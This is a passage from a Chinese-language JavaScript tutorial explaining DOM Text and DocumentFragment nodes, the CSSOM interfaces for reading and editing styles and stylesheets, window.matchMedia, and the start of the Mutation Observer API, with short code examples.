除了`dataset`属性，也可以用`getAttribute('data-foo')`、`removeAttribute('data-foo')`、`setAttribute('data-foo')`、`hasAttribute('data-foo')`等方法操作`data-*`属性。

**注意**，`data-`后面的属性名有限制，只能包含字母、数字、连词线（`-`）、点（`.`）、冒号（`:`）和下划线（`_`)。

而且，属性名不应该使用`A`到`Z`的大写字母，比如不能有`data-helloWorld`这样的属性名，而要写成`data-hello-world`。

转成`dataset`的键名时，连词线后面如果跟着一个小写字母，那么连词线会被移除，该小写字母转为大写字母，其他字符不变。

反过来，`dataset`的键名转成属性名时，所有大写字母都会被转成连词线+该字母的小写形式，其他字符不变。

比如，`dataset.helloWorld`会转成`data-hello-world`。

### Text 节点

#### 概念

文本节点（`Text`）代表元素节点（`Element`）和属性节点（`Attribute`）的文本内容。

如果一个节点只包含一段文本，那么它就有一个文本子节点，代表该节点的文本内容。

通常我们使用父节点的`firstChild`、`nextSibling`等属性获取文本节点，或者使用`Document`节点的`createTextNode`方法创造一个文本节点。

```js
// 获取文本节点
var textNode = document.querySelector('p').firstChild;

// 创造文本节点
var textNode = document.createTextNode('Hi');
document.querySelector('div').appendChild(textNode);
```

浏览器原生提供一个`Text`构造函数。它返回一个文本节点实例。它的参数就是该文本节点的文本内容。

```js
// 空字符串
var text1 = new Text();

// 非空字符串
var text2 = new Text('This is a text node');
```

**注意**，由于空格也是一个字符，所以哪怕只有一个空格，也会形成文本节点。比如，`<p> </p>`包含一个空格，它的子节点就是一个文本节点。

文本节点除了继承`Node`接口，还继承了`CharacterData`接口。

#### 属性

##### data

`data`属性等同于`nodeValue`属性，用来设置或读取文本节点的内容。

```js
// 读取文本内容
document.querySelector('p').firstChild.data
// 等同于
document.querySelector('p').firstChild.nodeValue

// 设置文本内容
document.querySelector('p').firstChild.data = 'Hello World';
```

##### wholeText

`wholeText`属性将当前文本节点与毗邻的文本节点，作为一个整体返回。大多数情况下，`wholeText`属性的返回值，与`data`属性和`textContent`属性相同。但是，某些特殊情况会有差异。

举例来说，HTML 代码如下。

```js
<p id="para">A <em>B</em> C</p>
```

这时，文本节点的`wholeText`属性和`data`属性，返回值相同。

```js
var el = document.getElementById('para');
el.firstChild.wholeText // "A "
el.firstChild.data // "A "
```

但是，一旦移除`<em>`节点，`wholeText`属性与`data`属性就会有差异，因为这时其实`<p>`节点下面包含了两个毗邻的文本节点。

```js
el.removeChild(para.childNodes[1]);
el.firstChild.wholeText // "A C"
el.firstChild.data // "A "
```

##### length

`length`属性返回当前文本节点的文本长度。

```js
(new Text('Hello')).length // 5
```

##### nextElementSibling

##### previousElementSibling

`nextElementSibling`属性返回紧跟在当前文本节点后面的那个同级**元素节点**。如果取不到元素节点，则返回`null`。

```js
// HTML 为
// <div>Hello <em>World</em></div>
var tn = document.querySelector('div').firstChild;
tn.nextElementSibling
// <em>World</em>
```

`previousElementSibling`属性返回当前文本节点前面最近的同级元素节点。如果取不到元素节点，则返回`null：`。

#### 方法

##### appendData()

##### deleteData()

##### insertData()

##### replaceData()

##### subStringData()

以下5个方法都是编辑`Text`节点文本内容的方法

* `appendData()`：在`Text`节点尾部追加字符串。
* `deleteData()`：删除`Text`节点内部的子字符串，第一个参数为子字符串开始位置，第二个参数为子字符串长度。
* `insertData()`：在`Text`节点插入字符串，第一个参数为插入位置，第二个参数为插入的子字符串。
* `replaceData()`：用于替换文本，第一个参数为替换开始位置，第二个参数为需要被替换掉的长度，第三个参数为新加入的字符串。
* `subStringData()`：用于获取子字符串，第一个参数为子字符串在`Text`节点中的开始位置，第二个参数为子字符串长度。

```js
// HTML 代码为
// <p>Hello World</p>
var pElementText = document.querySelector('p').firstChild;

pElementText.appendData('!');
// 页面显示 Hello World!
pElementText.deleteData(7, 5);
// 页面显示 Hello W
pElementText.insertData(7, 'Hello ');
// 页面显示 Hello WHello
pElementText.replaceData(7, 5, 'World');
// 页面显示 Hello WWorld
pElementText.substringData(7, 10);
// 页面显示不变，返回"World "
```

##### remove()

`remove`方法用于移除当前`Text`节点。

```js
// HTML 代码为
// <p>Hello World</p>
document.querySelector('p').firstChild.remove()
// 现在 HTML 代码为
// <p></p>
```

##### splitText()

`splitText`方法将`Text`节点一分为二，变成两个毗邻的`Text`节点。

它的参数就是分割位置（从零开始），分割到该位置的字符前结束。如果分割位置不存在，将报错。

分割后，该方法返回分割位置后方的字符串，而原`Text`节点变成只包含分割位置前方的字符串。

```js
// html 代码为 <p id="p">foobar</p>
var p = document.getElementById('p');
var textnode = p.firstChild;

var newText = textnode.splitText(3);
newText // "bar"
textnode // "foo"
```

父元素节点的`normalize`方法可以将毗邻的两个`Text`节点合并。

接上面的例子，文本节点的`splitText`方法将一个`Text`节点分割成两个，父元素的`normalize`方法可以实现逆操作，将它们合并。

```js
p.childNodes.length // 2

// 将毗邻的两个 Text 节点合并
p.normalize();
p.childNodes.length // 1
```

### DocumentFragment 节点

`DocumentFragment`节点代表一个文档的片段，本身就是一个完整的 DOM 树形结构。

它没有父节点，`parentNode`返回`null`，但是可以插入任意数量的子节点。

它不属于当前文档，操作`DocumentFragment`节点，要比直接操作 DOM 树快得多。

它一般用于构建一个 DOM 结构，然后插入当前文档。

`document.createDocumentFragment`方法，以及浏览器原生的`DocumentFragment`构造函数，可以创建一个空的`DocumentFragment`节点。然后再使用其他 DOM 方法，向其添加子节点。

```js
var docFrag = document.createDocumentFragment();
// 等同于
var docFrag = new DocumentFragment();

var li = document.createElement('li');
li.textContent = 'Hello World';
docFrag.appendChild(li);

document.querySelector('ul').appendChild(docFrag);
```

上面代码创建了一个`DocumentFragment`节点，然后将一个`li`节点添加在它里面，最后将`DocumentFragment`节点移动到原文档。

**注意**，`DocumentFragment`节点本身不能被插入当前文档。当它作为`appendChild()`、`insertBefore()`、`replaceChild()`等方法的参数时，是它的所有子节点插入当前文档，而不是它自身。一旦`DocumentFragment`节点被添加进当前文档，它自身就变成了空节点（`textContent`属性为空字符串），可以被再次使用。

如果想要保存`DocumentFragment`节点的内容，可以使用`cloneNode`方法。

```js
document
  .querySelector('ul')
  .appendChild(docFrag.cloneNode(true));
```

上面这样添加`DocumentFragment`节点进入当前文档，不会清空`DocumentFragment`节点。

下面是一个例子，使用`DocumentFragment`反转一个指定节点的所有子节点的顺序。

```js
function reverse(n) {
  var f = document.createDocumentFragment();
  while(n.lastChild) f.appendChild(n.lastChild);
  n.appendChild(f);
}
```

`DocumentFragment`节点对象没有自己的属性和方法，全部继承自`Node`节点和`ParentNode`接口。也就是说，`DocumentFragment`节点比`Node`节点多出以下四个属性。

* `children`：返回一个动态的`HTMLCollection`集合对象，包括当前`DocumentFragment`对象的所有子元素节点。
* `firstElementChild`：返回当前`DocumentFragment`对象的第一个子元素节点，如果没有则返回`null`。
* `lastElementChild`：返回当前`DocumentFragment`对象的最后一个子元素节点，如果没有则返回`null`。
* `childElementCount`：返回当前`DocumentFragment`对象的所有子元素数量。

### CSS 操作

CSS 与 JavaScript 是两个有着明确分工的领域，前者负责页面的视觉效果，后者负责与用户的行为互动。但是，它们毕竟同属网页开发的前端，因此不可避免有着交叉和互相配合。

#### HTML 元素的 style 属性

操作 CSS 样式最简单的方法，就是使用网页元素节点的`getAttribute()`方法、`setAttribute()`方法和`removeAttribute()`方法，直接读写或删除网页元素的`style`属性。

```js
div.setAttribute(
  'style',
  'background-color:red;' + 'border:1px solid black;'
);
```

上面的代码相当于下面的 HTML 代码。

```js
<div style="background-color:red; border:1px solid black;" />
```

#### CSSStyleDeclaration 接口

##### 简介

CSSStyleDeclaration 接口用来操作元素的样式。三个地方部署了这个接口。

* 元素节点的`style`属性（`Element.style`）
* `CSSStyle`实例的`style`属性
* `window.getComputedStyle()`的返回值

CSSStyleDeclaration 接口可以直接读写 CSS 的样式属性，不过，连词号需要变成骆驼拼写法。

```js
var divStyle = document.querySelector('div').style;

divStyle.backgroundColor = 'red';
divStyle.border = '1px solid black';
divStyle.width = '100px';
divStyle.height = '100px';
divStyle.fontSize = '10em';

divStyle.backgroundColor // red
divStyle.border // 1px solid black
divStyle.height // 100px
divStyle.width // 100px
```

上面代码中，`style`属性的值是一个 CSSStyleDeclaration 实例。

这个对象所包含的属性与 CSS 规则一一对应，但是名字需要改写，比如`background-color`写成`backgroundColor`。

改写的规则是将横杠从 CSS 属性名中去除，然后将横杠后的第一个字母大写。如果 CSS 属性名是 JavaScript 保留字，则规则名之前需要加上字符串`css`，比如`float`写成`cssFloat`。

注意，该对象的属性值都是字符串，设置时必须包括单位，但是不含规则结尾的分号。比如，`divStyle.width`不能写为`100`，而要写为`100px`。

另外，`Element.style`返回的只是行内样式，并不是该元素的全部样式。

通过样式表设置的样式，或者从父元素继承的样式，无法通过这个属性得到。元素的全部样式要通过`window.getComputedStyle()`得到。

##### 实例属性

###### **（1）CSSStyleDeclaration.cssText**

`CSSStyleDeclaration.cssText`属性用来读写当前规则的所有样式声明文本。

```js
var divStyle = document.querySelector('div').style;

divStyle.cssText = 'background-color: red;'
  + 'border: 1px solid black;'
  + 'height: 100px;'
  + 'width: 100px;';
```

注意，`cssText`的属性值不用改写 CSS 属性名。

删除一个元素的所有行内样式，最简便的方法就是设置`cssText`为空字符串。

```js
divStyle.cssText = '';
```

###### （2）CSSStyleDeclaration.length

`CSSStyleDeclaration.length`属性返回一个整数值，表示当前规则包含多少条样式声明。

```js
// HTML 代码如下
// <div id="myDiv"
//   style="height: 1px;width: 100%;background-color: #CA1;"
// ></div>
var myDiv = document.getElementById('myDiv');
var divStyle = myDiv.style;
divStyle.length // 3
```

###### （3）CSSStyleDeclaration.parentRule

CSSStyleDeclaration.parentRule属性返回当前规则所属的那个样式块（CSSRule 实例）。如果不存在所属的样式块，该属性返回null。

该属性只读，且只在使用 CSSRule 接口时有意义。

##### 实例方法

###### **（1）CSSStyleDeclaration.getPropertyPriority()**

`CSSStyleDeclaration.getPropertyPriority`方法接受 CSS 样式的属性名作为参数，返回一个字符串，表示有没有设置`important`优先级。如果有就返回`important`，否则返回空字符串。

```js
// HTML 代码为
// <div id="myDiv" style="margin: 10px!important; color: red;"/>
var style = document.getElementById('myDiv').style;
style.margin // "10px"
style.getPropertyPriority('margin') // "important"
style.getPropertyPriority('color') // ""
```

###### （2）CSSStyleDeclaration.getPropertyValue()

`CSSStyleDeclaration.getPropertyValue`方法接受 CSS 样式属性名作为参数，返回一个字符串，表示该属性的属性值。

```js
// HTML 代码为
// <div id="myDiv" style="margin: 10px!important; color: red;"/>
var style = document.getElementById('myDiv').style;
style.margin // "10px"
style.getPropertyValue("margin") // "10px"
```

###### **（3）CSSStyleDeclaration.item()**

`CSSStyleDeclaration.item`方法接受一个整数值作为参数，返回该位置的 CSS 属性名。

```js
// HTML 代码为
// <div id="myDiv" style="color: red; background-color: white;"/>
var style = document.getElementById('myDiv').style;
style.item(0) // "color"
style.item(1) // "background-color"
```

###### （4）CSSStyleDeclaration.removeProperty()

`CSSStyleDeclaration.removeProperty`方法接受一个属性名作为参数，在 CSS 规则里面移除这个属性，返回这个属性原来的值。

```js
// HTML 代码为
// <div id="myDiv" style="color: red; background-color: white;">
//   111
// </div>
var style = document.getElementById('myDiv').style;
style.removeProperty('color') // 'red'
// HTML 代码变为
// <div id="myDiv" style="background-color: white;">
```

###### （5）CSSStyleDeclaration.setProperty()

`CSSStyleDeclaration.setProperty`方法用来设置新的 CSS 属性。该方法没有返回值。

该方法可以接受三个参数。

* 第一个参数：属性名，该参数是必需的。
* 第二个参数：属性值，该参数可选。如果省略，则参数值默认为空字符串。
* 第三个参数：优先级，该参数可选。如果设置，唯一的合法值是`important`，表示 CSS 规则里面的`!important`。

```js
// HTML 代码为
// <div id="myDiv" style="color: red; background-color: white;">
//   111
// </div>
var style = document.getElementById('myDiv').style;
style.setProperty('border', '1px solid blue');
```

#### CSS 模块的侦测

CSS 的规格发展太快，新的模块层出不穷。不同浏览器的不同版本，对 CSS 模块的支持情况都不一样。有时候，需要知道**当前浏览器是否支持某个模块，这就叫做“CSS模块的侦测”。**

一个比较普遍适用的方法是，判断元素的`style`对象的某个属性值是否为字符串。

```js
typeof element.style.animationName === 'string';
typeof element.style.transform === 'string';
```

如果该 CSS 属性确实存在，会返回一个字符串。即使该属性实际上并未设置，也会返回一个空字符串。如果该属性不存在，则会返回`undefined`。

```js
document.body.style['maxWidth'] // ""
document.body.style['maximumWidth'] // undefined
```

另外，使用的时候，需要把不同浏览器的 CSS 前缀也考虑进去。

```js
var content = document.getElementById('content');
typeof content.style['webkitAnimation'] === 'string'
```

封装函数

```js
function isPropertySupported(property) {
  if (property in document.body.style) return true;
  var prefixes = ['Moz', 'Webkit', 'O', 'ms', 'Khtml'];
  var prefProperty = property.charAt(0).toUpperCase() + property.substr(1);

  for(var i = 0; i < prefixes.length; i++){
    if((prefixes[i] + prefProperty) in document.body.style) return true;
  }

  return false;
}

isPropertySupported('background-clip')
// true
```

### CSS 对象

浏览器原生提供 CSS 对象，为 JavaScript 操作 CSS 提供一些工具方法。

这个对象目前有两个静态方法。

#### CSS.escape()

`CSS.escape`方法用于转义 CSS 选择器里面的特殊字符。

```html
<div id="foo#bar">
```

上面代码中，该元素的`id`属性包含一个`#`号，该字符在 CSS 选择器里面有特殊含义。不能直接写成`document.querySelector('#foo#bar')`，只能写成`document.querySelector('#foo\\#bar')`。这里必须使用双斜杠的原因是，单引号字符串本身会转义一次斜杠。

`CSS.escape`方法就用来转义那些特殊字符。

```js
document.querySelector('#' + CSS.escape('foo#bar'))
```

#### CSS.supports()

`CSS.supports`方法返回一个布尔值，表示当前环境是否支持某一句 CSS 规则。

它的参数有两种写法，一种是第一个参数是属性名，第二个参数是属性值；另一种是整个参数就是一行完整的 CSS 语句。

```js
// 第一种写法
CSS.supports('transform-origin', '5px') // true

// 第二种写法
CSS.supports('display: table-cell') // true
```

注意，第二种写法的参数结尾不能带有分号，否则结果不准确。

```js
CSS.supports('display: table-cell;') // false
```

### window.getComputedStyle()

行内样式（inline style）具有最高的优先级，改变行内样式，通常会立即反映出来。

但是，网页元素最终的样式是综合各种规则计算出来的。因此，如果想得到元素实际的样式，只读取行内样式是不够的，需要得到浏览器最终计算出来的样式规则。

`window.getComputedStyle()`方法，就用来返回浏览器计算后得到的最终规则。

它接受一个节点对象作为参数，返回一个 CSSStyleDeclaration 实例，包含了指定节点的最终样式信息。所谓“最终样式信息”，指的是各种 CSS 规则叠加后的结果。

```js
var div = document.querySelector('div');
var styleObj = window.getComputedStyle(div);
styleObj.backgroundColor
```

上面代码中，得到的背景色就是`div`元素真正的背景色。

注意，CSSStyleDeclaration 实例是一个活的对象，任何对于样式的修改，会实时反映到这个实例上面。另外，这个实例是只读的。

`getComputedStyle`方法还可以接受第二个参数，表示当前元素的伪元素（比如`:before`、`:after`、`:first-line`、`:first-letter`等）。

```js
var result = window.getComputedStyle(div, ':before');
```

下面的例子是如何获取元素的高度。

```js
var elem = document.getElementById('elem-container');
var styleObj = window.getComputedStyle(elem, null)
var height = styleObj.height;
// 等同于
var height = styleObj['height'];
var height = styleObj.getPropertyValue('height');
```

上面代码得到的`height`属性，是浏览器最终渲染出来的高度，比其他方法得到的高度更可靠。

由于`styleObj`是 CSSStyleDeclaration 实例，所以可以使用各种 CSSStyleDeclaration 的实例属性和方法。

有几点需要注意。

* CSSStyleDeclaration 实例返回的 CSS 值都是绝对单位。比如，长度都是像素单位（返回值包括`px`后缀），颜色是`rgb(#, #, #)`或`rgba(#, #, #, #)`格式。
* CSS 规则的简写形式无效。比如，想读取`margin`属性的值，不能直接读，只能读`marginLeft`、`marginTop`等属性；再比如，`font`属性也是不能直接读的，只能读`font-size`等单个属性。
* 如果读取 CSS 原始的属性名，要用方括号运算符，比如`styleObj['z-index']`；如果读取骆驼拼写法的 CSS 属性名，可以直接读取`styleObj.zIndex`。
* 该方法返回的 CSSStyleDeclaration 实例的`cssText`属性总是返回空字符串。

### CSS 伪元素

CSS 伪元素是通过 CSS 向 DOM 添加的元素，主要是通过`:before`和`:after`选择器生成，然后用`content`属性指定伪元素的内容。

```html
<div id="test">Test content</div>
```

```css
#test:before {
    content: 'Before ';
    color: #FF0;
}
```

节点元素的`style`对象无法读写伪元素的样式，这时就要用到`window.getComputedStyle()`。JavaScript 获取伪元素，可以使用下面的方法。

```js
var test = document.querySelector('#test');

var result = window.getComputedStyle(test, ':before').content;
var color = window.getComputedStyle(test, ':before').color;
```

此外，也可以使用 CSSStyleDeclaration 实例的`getPropertyValue`方法，获取伪元素的属性

```js
var result = window.getComputedStyle(test, ':before')
.getPropertyValue('content');
var color = window.getComputedStyle(test, ':before')
.getPropertyValue('color');
```

### StyleSheet 接口

#### 概述

`StyleSheet`接口代表网页的一张样式表，包括`<link>`元素加载的样式表和`<style>`元素内嵌的样式表。

`document`对象的`styleSheets`属性，可以返回当前页面的所有`StyleSheet`实例（即所有样式表）。它是一个类似数组的对象。

```js
var sheets = document.styleSheets;
var sheet = document.styleSheets[0];
sheet instanceof StyleSheet // true
```

如果是`<style>`元素嵌入的样式表，还有另一种获取`StyleSheet`实例的方法，就是这个节点元素的`sheet`属性。

```js
// HTML 代码为 <style id="myStyle"></style>
var myStyleSheet = document.getElementById('myStyle').sheet;
myStyleSheet instanceof StyleSheet // true
```

严格地说，`StyleSheet`接口不仅包括网页样式表，还包括 XML 文档的样式表。

所以，它有一个子类`CSSStyleSheet`表示网页的 CSS 样式表。我们在网页里面拿到的样式表实例，实际上是`CSSStyleSheet`的实例。

这个子接口继承了`StyleSheet`的所有属性和方法，并且定义了几个自己的属性，下面把这两个接口放在一起介绍。

#### 实例属性

`StyleSheet`实例有以下属性。

##### （1）StyleSheet.disabled

`StyleSheet.disabled`返回一个布尔值，表示该样式表是否处于禁用状态。手动设置`disabled`属性为`true`，等同于在`<link>`元素里面，将这张样式表设为`alternate stylesheet`，即该样式表将不会生效。

##### （2）StyleSheet.href

`StyleSheet.href`返回样式表的网址。对于内嵌样式表，该属性返回`null`。该属性只读。

```js
document.styleSheets[0].href
```

##### （3）StyleSheet.media

`StyleSheet.media`属性返回一个类似数组的对象（`MediaList`实例），成员是表示适用媒介的字符串。

表示当前样式表是用于屏幕（screen），还是用于打印（print）或手持设备（handheld），或各种媒介都适用（all）。该属性只读，默认值是`screen`。

```js
document.styleSheets[0].media.mediaText
// "all"
```

`MediaList`实例的`appendMedium`方法，用于增加媒介；`deleteMedium`方法用于删除媒介。

```js
document.styleSheets[0].media.appendMedium('handheld');
document.styleSheets[0].media.deleteMedium('print');
```

##### （4）StyleSheet.title

`StyleSheet.title`属性返回样式表的`title`属性。

##### （5）StyleSheet.type

`StyleSheet.type`属性返回样式表的`type`属性，通常是`text/css`。

```js
document.styleSheets[0].type  // "text/css"
```

##### （6）StyleSheet.parentStyleSheet

CSS 的`@import`命令允许在样式表中加载其他样式表。`StyleSheet.parentStyleSheet`属性返回包含了当前样式表的那张样式表。如果当前样式表是顶层样式表，则该属性返回`null`。

```js
if (stylesheet.parentStyleSheet) {
  sheet = stylesheet.parentStyleSheet;
} else {
  sheet = stylesheet;
}
```

##### （7）StyleSheet.ownerNode

`StyleSheet.ownerNode`属性返回`StyleSheet`对象所在的 DOM 节点，通常是`<link>`或`<style>`。对于那些由其他样式表引用的样式表，该属性为`null`。

```js
// HTML代码为
// <link rel="StyleSheet" href="example.css" type="text/css" />
document.styleSheets[0].ownerNode
// <link rel="stylesheet" href="xxx.css">
```

##### （8）CSSStyleSheet.cssRules

`CSSStyleSheet.cssRules`属性指向一个类似数组的对象（`CSSRuleList`实例），里面每一个成员就是当前样式表的一条 CSS 规则。使用该规则的`cssText`属性，可以得到 CSS 规则对应的字符串。

```js
var sheet = document.querySelector('#styleElement').sheet;

sheet.cssRules[0].cssText
// "body { background-color: red; margin: 20px; }"

sheet.cssRules[1].cssText
// "p { line-height: 1.4em; color: blue; }"
```

每条 CSS 规则还有一个`style`属性，指向一个对象，用来读写具体的 CSS 命令。

```js
cssStyleSheet.cssRules[0].style.color = 'red';
cssStyleSheet.cssRules[1].style.color = 'purple';
```

##### （9）CSSStyleSheet.ownerRule

有些样式表是通过`@import`规则输入的，它的`ownerRule`属性会返回一个`CSSRule`实例，代表那行`@import`规则。如果当前样式表不是通过`@import`引入的，`ownerRule`属性返回`null`。

#### 实例方法

##### **（1）CSSStyleSheet.insertRule()**

`CSSStyleSheet.insertRule`方法用于在当前样式表的插入一个新的 CSS 规则。

```js
var sheet = document.querySelector('#styleElement').sheet;
sheet.insertRule('#block { color: white }', 0);
sheet.insertRule('p { color: red }', 1);
```

该方法可以接受两个参数，第一个参数是表示 CSS 规则的字符串，这里只能有一条规则，否则会报错。第二个参数是该规则在样式表的插入位置（从0开始），该参数可选，默认为0（即默认插在样式表的头部）。注意，如果插入位置大于现有规则的数目，会报错。

该方法的返回值是新插入规则的位置序号。

**注意**，浏览器对脚本在样式表里面插入规则有很多[限制](https://drafts.csswg.org/cssom/#insert-a-css-rule)。所以，这个方法最好放在`try...catch`里使用。

##### （2）CSSStyleSheet.deleteRule()

`CSSStyleSheet.deleteRule`方法用来在样式表里面移除一条规则，它的参数是该条规则在`cssRules`对象中的位置。该方法没有返回值。

```js
document.styleSheets[0].deleteRule(1);
```

### 实例：添加样式表

网页添加样式表有两种方式。一种是添加一张内置样式表，即在文档中添加一个`<style>`节点。

```js
// 写法一
var style = document.createElement('style');
style.setAttribute('media', 'screen');
style.innerHTML = 'body{color:red}';
document.head.appendChild(style);

// 写法二
var style = (function () {
  var style = document.createElement('style');
  document.head.appendChild(style);
  return style;
})();
style.sheet.insertRule('.foo{color:red;}', 0);
```

另一种是添加外部样式表，即在文档中添加一个`<link>`节点，然后将`href`属性指向外部样式表的 URL。

```js
var linkElm = document.createElement('link');
linkElm.setAttribute('rel', 'stylesheet');
linkElm.setAttribute('type', 'text/css');
linkElm.setAttribute('href', 'reset-min.css');

document.head.appendChild(linkElm);
```

### CSSRuleList 接口

CSSRuleList 接口是一个类似数组的对象，表示一组 CSS 规则，成员都是 CSSRule 实例。

获取 CSSRuleList 实例，一般是通过`StyleSheet.cssRules`属性。

```js
// HTML 代码如下
// <style id="myStyle">
//   h1 { color: red; }
//   p { color: blue; }
// </style>
var myStyleSheet = document.getElementById('myStyle').sheet;
var crl = myStyleSheet.cssRules;
crl instanceof CSSRuleList // true
```

CSSRuleList 实例里面，每一条规则（CSSRule 实例）可以通过`rules.item(index)`或者`rules[index]`拿到。CSS 规则的条数通过`rules.length`拿到。还是用上面的例子。

```js
crl[0] instanceof CSSRule // true
crl.length // 2
```

注意，添加规则和删除规则不能在 CSSRuleList 实例操作，而要在它的父元素 StyleSheet 实例上，通过`StyleSheet.insertRule()`和`StyleSheet.deleteRule()`操作。

### CSSRule 接口

#### 概述

一条 CSS 规则包括两个部分：CSS 选择器和样式声明。下面就是一条典型的 CSS 规则。

```css
.myClass {
  color: red;
  background-color: yellow;
}
```

JavaScript 通过 CSSRule 接口操作 CSS 规则。一般通过 CSSRuleList 接口（`StyleSheet.cssRules`）获取 CSSRule 实例。

```js
// HTML 代码如下
// <style id="myStyle">
//   .myClass {
//     color: red;
//     background-color: yellow;
//   }
// </style>
var myStyleSheet = document.getElementById('myStyle').sheet;
var ruleList = myStyleSheet.cssRules;
var rule = ruleList[0];
rule instanceof CSSRule // true
```

#### CSSRule 实例的属性

##### （1）CSSRule.cssText

`CSSRule.cssText`属性返回当前规则的文本，还是使用上面的例子。

```js
rule.cssText
// ".myClass { color: red; background-color: yellow; }"
```

如果规则是加载（`@import`）其他样式表，`cssText`属性返回`@import 'url'`。

##### （2）CSSRule.parentStyleSheet

`CSSRule.parentStyleSheet`属性返回当前规则所在的样式表对象（StyleSheet 实例），还是使用上面的例子。

```js
rule.parentStyleSheet === myStyleSheet // true
```

##### **（3）CSSRule.parentRule**

`CSSRule.parentRule`属性返回包含当前规则的父规则，如果不存在父规则（即当前规则是顶层规则），则返回`null`。

父规则最常见的情况是，当前规则包含在`@media`规则代码块之中。

```js
// HTML 代码如下
// <style id="myStyle">
//   @supports (display: flex) {
//     @media screen and (min-width: 900px) {
//       article {
//         display: flex;
//       }
//     }
//  }
// </style>
var myStyleSheet = document.getElementById('myStyle').sheet;
var ruleList = myStyleSheet.cssRules;

var rule0 = ruleList[0];
rule0.cssText
// "@supports (display: flex) {
//    @media screen and (min-width: 900px) {
//      article { display: flex; }
//    }
// }"

// 由于这条规则内嵌其他规则，
// 所以它有 cssRules 属性，且该属性是 CSSRuleList 实例
rule0.cssRules instanceof CSSRuleList // true

var rule1 = rule0.cssRules[0];
rule1.cssText
// "@media screen and (min-width: 900px) {
//   article { display: flex; }
// }"

var rule2 = rule1.cssRules[0];
rule2.cssText
// "article { display: flex; }"

rule1.parentRule === rule0 // true
rule2.parentRule === rule1 // true
```

##### **（4）CSSRule.type**

`CSSRule.type`属性返回一个整数值，表示当前规则的类型。

最常见的类型有以下几种。

* 1：普通样式规则（CSSStyleRule 实例）
* 3：`@import`规则
* 4：`@media`规则（CSSMediaRule 实例）
* 5：`@font-face`规则

#### CSSStyleRule 接口

如果一条 CSS 规则是普通的样式规则（不含特殊的 CSS 命令），那么除了 CSSRule 接口，它还部署了 CSSStyleRule 接口。

CSSStyleRule 接口有以下两个属性。

##### **（1）CSSStyleRule.selectorText**

`CSSStyleRule.selectorText`属性返回当前规则的选择器（可写）。

```js
var stylesheet = document.styleSheets[0];
stylesheet.cssRules[0].selectorText // ".myClass"
```

##### **（2）CSSStyleRule.style**

`CSSStyleRule.style`属性返回一个对象（CSSStyleDeclaration 实例），代表当前规则的样式声明，也就是选择器后面的大括号里面的部分。

```js
// HTML 代码为
// <style id="myStyle">
//   p { color: red; }
// </style>
var styleSheet = document.getElementById('myStyle').sheet;
styleSheet.cssRules[0].style instanceof CSSStyleDeclaration
// true
```

CSSStyleDeclaration 实例的`cssText`属性，可以返回所有样式声明，格式为字符串。

```js
styleSheet.cssRules[0].style.cssText
// "color: red;"
styleSheet.cssRules[0].selectorText
// "p"
```

#### CSSMediaRule 接口

如果一条 CSS 规则是`@media`代码块，那么它除了 CSSRule 接口，还部署了 CSSMediaRule 接口。

该接口主要提供`media`属性和`conditionText`属性。前者返回代表`@media`规则的一个对象（MediaList 实例），后者返回`@media`规则的生效条件。

### window.matchMedia()

#### 基本用法

`window.matchMedia()`方法用来将 CSS 的[`Media Query`](https://developer.mozilla.org/en-US/docs/DOM/Using_media_queries_from_code)条件语句，转换成一个 MediaQueryList 实例。

```js
var mdl = window.matchMedia('(min-width: 400px)');
mdl instanceof MediaQueryList // true
```

上面代码中，变量`mdl`就是 mediaQueryList 的实例。

注意，如果参数不是有效的`MediaQuery`条件语句，`window.matchMedia`不会报错，依然返回一个 MediaQueryList 实例。

```js
window.matchMedia('bad string') instanceof MediaQueryList // true
```

#### MediaQueryList 接口的实例属性

##### **（1）MediaQueryList.media**

`MediaQueryList.media`属性返回一个字符串，表示对应的 MediaQuery 条件语句。

```js
var mql = window.matchMedia('(min-width: 400px)');
mql.media // "(min-width: 400px)"
```

##### **（2）MediaQueryList.matches**

`MediaQueryList.matches`属性返回一个布尔值，表示当前页面是否符合指定的 MediaQuery 条件语句。

```js
if (window.matchMedia('(min-width: 400px)').matches) {
  /* 当前视口不小于 400 像素 */
} else {
  /* 当前视口小于 400 像素 */
}
```

下面的例子根据`mediaQuery`是否匹配当前环境，加载相应的 CSS 样式表。

```js
var result = window.matchMedia("(max-width: 700px)");

if (result.matches){
  var linkElm = document.createElement('link');
  linkElm.setAttribute('rel', 'stylesheet');
  linkElm.setAttribute('type', 'text/css');
  linkElm.setAttribute('href', 'small.css');

  document.head.appendChild(linkElm);
}
```

##### **（3）MediaQueryList.onchange**

如果 MediaQuery 条件语句的适配环境发生变化，会触发`change`事件。`MediaQueryList.onchange`属性用来指定`change`事件的监听函数。

该函数的参数是`change`事件对象（MediaQueryListEvent 实例），该对象与 MediaQueryList 实例类似，也有`media`和`matches`属性。

```js
var mql = window.matchMedia('(max-width: 600px)');

mql.onchange = function(e) {
  if (e.matches) {
    /* 视口不超过 600 像素 */
  } else {
    /* 视口超过 600 像素 */
  }
}
```

上面代码中，`change`事件发生后，存在两种可能。一种是显示宽度从600像素以上变为以下，另一种是从600像素以下变为以上，所以在监听函数内部要判断一下当前是哪一种情况。

#### MediaQueryList 接口的实例方法

MediaQueryList 实例有两个方法`MediaQueryList.addListener()`和`MediaQueryList.removeListener()`，用来为`change`事件添加或撤销监听函数。

```js
var mql = window.matchMedia('(max-width: 600px)');

// 指定监听函数
mql.addListener(mqCallback);

// 撤销监听函数
mql.removeListener(mqCallback);

function mqCallback(e) {
  if (e.matches) {
    /* 视口不超过 600 像素 */
  } else {
    /* 视口超过 600 像素 */
  }
}
```

**注意**，`MediaQueryList.removeListener()`方法不能撤销`MediaQueryList.onchange`属性指定的监听函数。

### Mutation Observer API

#### 概述

Mutation Observer API 用来监视 DOM 变动。DOM 的任何变动，比如节点的增减、属性的变动、文本内容的变动，这个 API 都可以得到通知。

概念上，它很接近事件，可以理解为 DOM 发生变动就会触发 Mutation Observer 事件。但是，它与事件有一个本质不同：**事件是同步触发**，也就是说，DOM 的变动立刻会触发相应的事件；**Mutation Observer 则是异步触发**，DOM 的变动并不会马上触发，而是要等到当前所有 DOM 操作都结束才触发。

这样设计是为了应付 DOM 变动频繁的特点。举例来说，如果文档中连续插入1000个`<p>`元素，就会连续触发1000个插入事件，执行每个事件的回调函数，这很可能造成浏览器的卡顿；

而 Mutation Observer 完全不同，只在1000个段落都插入结束后才会触发，而且只触发一次。

Mutation Observer 有以下特点。

* 它等待所有脚本任务完成后，才会运行（即异步触发方式）。
* 它把 DOM 变动记录封装成一个数组进行处理，而不是一条条个别处理 DOM 变动。
* 它既可以观察 DOM 的所有类型变动，也可以指定只观察某一类变动。

